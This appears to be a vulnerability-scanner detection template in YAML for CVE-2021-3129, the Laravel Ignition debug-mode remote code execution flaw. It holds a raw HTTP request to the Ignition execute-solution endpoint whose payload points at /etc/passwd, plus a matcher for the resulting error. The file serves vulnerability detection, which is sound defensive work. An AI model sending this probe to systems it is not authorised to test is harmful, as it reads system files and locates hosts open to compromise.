29 lines
1.1 KiB
YAML
29 lines
1.1 KiB
YAML
id: CVE-2021-3129
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info:
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name: LARAVEL <= V8.4.2 DEBUG MODE - REMOTE CODE EXECUTION
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author: z3bd
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severity: critical
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description: Ignition before 2.5.2, as used in Laravel and other products, allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel before 8.4.2.
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reference: https://www.ambionics.io/blog/laravel-debug-rce
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tags: cve,cve2021,laravel,rce
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# Note:- This is detection template, use the referenced article for detailed exploit.
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requests:
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- raw:
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- |
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POST /_ignition/execute-solution HTTP/1.1
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Host: {{Hostname}}
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Accept-Encoding: deflate
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Accept: application/json
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Connection: close
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Content-Length: 144
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Content-Type: application/json
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{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "/etc/passwd"}}
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matchers:
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- type: word
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words:
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- "failed to open stream: Permission denied" |